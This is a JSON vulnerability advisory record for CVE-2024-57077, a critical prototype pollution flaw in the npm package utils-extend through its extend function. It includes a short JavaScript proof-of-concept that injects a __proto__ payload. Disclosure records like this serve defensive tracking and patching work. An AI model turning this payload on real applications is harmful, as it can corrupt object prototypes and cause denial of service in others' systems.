{"id":"CVE-2024-57077","aliases":[],"url":"https://o3.security/vulnerability/CVE-2024-57077","summary":"utils-extend Prototype Pollution","details":"The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\n## PoC\n```js\nasync function exploit() {\n   const utilsextend = require(\\\"utils-extend\\\");\n   const payload = JSON.parse('{\\\"__proto__\\\":{\\\"exploited\\\":true}}');\n   const result = await utilsextend.extend({}, payload);\n}\n\nawait exploit();\n```","published":"2025-02-06T06:31:26Z","modified":"2025-09-03T15:22:41Z","cvss":{"score":9.1,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"utils-extend","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-57077"},{"type":"WEB","url":"https://gist.github.com/tariqhawis/64bac50f8c2706e6880e45d50a507114"},{"type":"PACKAGE","url":"https://github.com/douzi8/utils-extend"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2025-09-03T15:22:41Z"}}